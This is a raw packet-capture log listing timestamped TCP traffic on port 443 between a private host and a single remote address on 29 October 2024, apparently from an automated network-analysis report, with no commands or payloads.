Oct 29, 2024 04:53:24.682208061 CET	49898	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.682233095 CET	443	49898	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.682243109 CET	443	49898	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.685396910 CET	49903	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.685421944 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.685504913 CET	49903	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.685681105 CET	49903	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.685693979 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.694921017 CET	443	49900	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.695293903 CET	49900	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.695326090 CET	443	49900	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.695822001 CET	49900	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.695828915 CET	443	49900	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.730042934 CET	443	49899	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.730462074 CET	443	49899	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.730631113 CET	49899	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.730631113 CET	49899	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.730631113 CET	49899	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.732567072 CET	49904	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.732616901 CET	443	49904	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.732691050 CET	49904	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.732826948 CET	49904	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.732856035 CET	443	49904	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.761797905 CET	443	49901	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.762193918 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.762202024 CET	443	49901	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.762723923 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.762727976 CET	443	49901	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.774535894 CET	443	49902	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.777542114 CET	49902	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.777554989 CET	443	49902	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.778249979 CET	49902	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.778256893 CET	443	49902	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.826484919 CET	443	49900	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.826919079 CET	443	49900	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.827279091 CET	49900	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.827330112 CET	49900	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.827330112 CET	49900	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.827347994 CET	443	49900	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.827358961 CET	443	49900	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.829751968 CET	49905	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.829796076 CET	443	49905	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.829878092 CET	49905	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.830001116 CET	49905	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.830018044 CET	443	49905	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.891040087 CET	443	49901	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.891098976 CET	443	49901	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.891206026 CET	443	49901	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.891253948 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.891325951 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.891325951 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.891325951 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.893335104 CET	49906	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.893383026 CET	443	49906	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.893460989 CET	49906	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.893577099 CET	49906	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.893604040 CET	443	49906	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.903877020 CET	443	49902	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.904263973 CET	443	49902	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.904318094 CET	49902	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.904366016 CET	49902	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.904376030 CET	443	49902	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.904386997 CET	49902	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.904393911 CET	443	49902	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.906646013 CET	49907	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.906667948 CET	443	49907	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.906729937 CET	49907	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.906841993 CET	49907	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.906857967 CET	443	49907	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.045885086 CET	49899	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.045912027 CET	443	49899	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.202353001 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.202368975 CET	443	49901	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.421365976 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.421874046 CET	49903	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.421890020 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.422385931 CET	49903	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.422390938 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.469341040 CET	443	49904	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.469858885 CET	49904	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.469897985 CET	443	49904	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.470352888 CET	49904	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.470366955 CET	443	49904	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.551708937 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.551728964 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.551757097 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.551781893 CET	49903	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.551837921 CET	49903	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.552030087 CET	49903	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.552078009 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.552107096 CET	49903	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.552122116 CET	443	49903	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.554651022 CET	49908	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.554663897 CET	443	49908	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.554732084 CET	49908	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.554862022 CET	49908	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.554872036 CET	443	49908	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.592156887 CET	443	49905	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.592843056 CET	49905	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.592860937 CET	443	49905	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.593380928 CET	49905	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.593388081 CET	443	49905	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.598233938 CET	443	49904	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.598406076 CET	443	49904	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.598479033 CET	49904	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.598536968 CET	49904	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.598536968 CET	49904	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.598572016 CET	443	49904	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.598596096 CET	443	49904	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.600595951 CET	49909	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.600630045 CET	443	49909	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.600686073 CET	49909	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.600794077 CET	49909	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.600806952 CET	443	49909	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.631397009 CET	443	49906	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.631887913 CET	49906	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.631910086 CET	443	49906	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.632415056 CET	49906	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.632426977 CET	443	49906	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.644805908 CET	443	49907	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.645096064 CET	49907	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.645118952 CET	443	49907	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.645438910 CET	49907	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.645446062 CET	443	49907	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.749598026 CET	443	49905	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.749752998 CET	443	49905	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.749825001 CET	49905	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.749943972 CET	49905	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.749969959 CET	443	49905	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.749986887 CET	49905	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.749996901 CET	443	49905	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.752912045 CET	49910	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.752923965 CET	443	49910	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.753007889 CET	49910	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.753182888 CET	49910	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.753194094 CET	443	49910	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.760648966 CET	443	49906	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.760782003 CET	443	49906	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.760838032 CET	49906	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.760884047 CET	49906	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.760884047 CET	49906	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.760909081 CET	443	49906	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.760931015 CET	443	49906	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.762999058 CET	49911	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.763020039 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.763097048 CET	49911	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.763226032 CET	49911	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.763238907 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.773508072 CET	443	49907	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.773647070 CET	443	49907	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.773708105 CET	49907	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.773874044 CET	49907	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.773874044 CET	49907	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.773886919 CET	443	49907	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.773899078 CET	443	49907	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.775813103 CET	49912	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.775895119 CET	443	49912	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:25.775980949 CET	49912	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.776114941 CET	49912	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:25.776154041 CET	443	49912	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.276911974 CET	443	49908	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.277580976 CET	49908	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.277590036 CET	443	49908	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.278002977 CET	49908	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.278007030 CET	443	49908	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.375346899 CET	443	49909	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.376066923 CET	49909	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.376080990 CET	443	49909	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.376465082 CET	49909	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.376471043 CET	443	49909	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.407852888 CET	443	49908	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.408232927 CET	443	49908	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.408293009 CET	49908	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.408315897 CET	49908	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.408325911 CET	443	49908	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.408335924 CET	49908	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.408339977 CET	443	49908	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.410933018 CET	49913	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.411014080 CET	443	49913	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.411108017 CET	49913	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.411240101 CET	49913	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.411273956 CET	443	49913	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.510730982 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.511544943 CET	443	49912	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.511712074 CET	443	49909	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.511846066 CET	443	49909	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.512008905 CET	49909	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.529150963 CET	49911	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.529160976 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.529690981 CET	49911	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.529697895 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.529952049 CET	49912	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.530006886 CET	443	49912	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.530513048 CET	49912	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.530528069 CET	443	49912	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.530667067 CET	49909	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.530685902 CET	443	49909	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.530697107 CET	49909	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.530704975 CET	443	49909	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.533565044 CET	49914	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.533615112 CET	443	49914	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.533693075 CET	49914	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.533804893 CET	49914	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.533843994 CET	443	49914	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.656306028 CET	443	49912	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.656471968 CET	443	49912	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.656533003 CET	49912	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.656584024 CET	49912	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.656584024 CET	49912	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.656613111 CET	443	49912	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.656637907 CET	443	49912	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.658782959 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.659197092 CET	49915	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.659250021 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.659331083 CET	49915	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.659334898 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.659380913 CET	49911	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.659399033 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.659439087 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.659485102 CET	49911	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.659550905 CET	49915	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.659584045 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.659589052 CET	49911	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.659589052 CET	49911	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.659598112 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.659607887 CET	443	49911	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.661828041 CET	49916	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.661858082 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:26.661921024 CET	49916	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.662065029 CET	49916	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:26.662081003 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.130728006 CET	443	49913	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.131438017 CET	49913	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.131480932 CET	443	49913	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.131934881 CET	49913	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.131951094 CET	443	49913	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.260972977 CET	443	49913	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.261028051 CET	443	49913	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.261095047 CET	49913	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.261293888 CET	49913	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.261327028 CET	443	49913	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.261353016 CET	49913	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.261367083 CET	443	49913	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.264244080 CET	49917	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.264350891 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.264422894 CET	49917	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.264568090 CET	49917	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.264602900 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.283567905 CET	443	49914	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.283970118 CET	49914	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.283999920 CET	443	49914	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.284531116 CET	49914	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.284545898 CET	443	49914	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.396143913 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.396748066 CET	49916	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.396770954 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.397226095 CET	49916	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.397233009 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.398917913 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.399172068 CET	49915	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.399194956 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.399492025 CET	49915	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.399498940 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.413978100 CET	443	49914	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.414387941 CET	443	49914	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.414464951 CET	49914	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.414511919 CET	49914	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.414513111 CET	49914	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.414536953 CET	443	49914	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.414558887 CET	443	49914	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.417304993 CET	49918	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.417325020 CET	443	49918	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.417402983 CET	49918	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.417546988 CET	49918	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.417557955 CET	443	49918	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.501173973 CET	443	49910	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.501655102 CET	49910	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.501667023 CET	443	49910	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.501966000 CET	49910	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.501971006 CET	443	49910	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.534112930 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.534173965 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.534236908 CET	49915	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.534261942 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.534295082 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.534352064 CET	49915	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.534491062 CET	49915	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.534517050 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.534564018 CET	49915	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.534578085 CET	443	49915	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.537467957 CET	49919	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.537533045 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.537795067 CET	49919	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.537795067 CET	49919	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.537863970 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.630198002 CET	443	49910	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.630387068 CET	443	49910	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.630445004 CET	49910	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.630485058 CET	49910	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.630491972 CET	443	49910	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.630501032 CET	49910	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.630503893 CET	443	49910	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.632848978 CET	49920	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.632937908 CET	443	49920	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.633014917 CET	49920	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.633145094 CET	49920	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.633173943 CET	443	49920	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.734987974 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.735076904 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.735138893 CET	49916	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.735151052 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.735173941 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.735224962 CET	49916	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.735357046 CET	49916	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.735369921 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.735382080 CET	49916	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.735388041 CET	443	49916	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.738365889 CET	49921	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.738429070 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.738518953 CET	49921	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.738693953 CET	49921	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.738713026 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.996893883 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.997483969 CET	49917	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.997560978 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:27.998002052 CET	49917	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:27.998019934 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.131697893 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.131721020 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.131752968 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.131930113 CET	49917	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.131930113 CET	49917	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.132085085 CET	49917	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.132123947 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.132150888 CET	49917	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.132167101 CET	443	49917	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.135230064 CET	49922	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.135296106 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.135399103 CET	49922	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.135574102 CET	49922	443	192.168.2.4	13.107.246.60
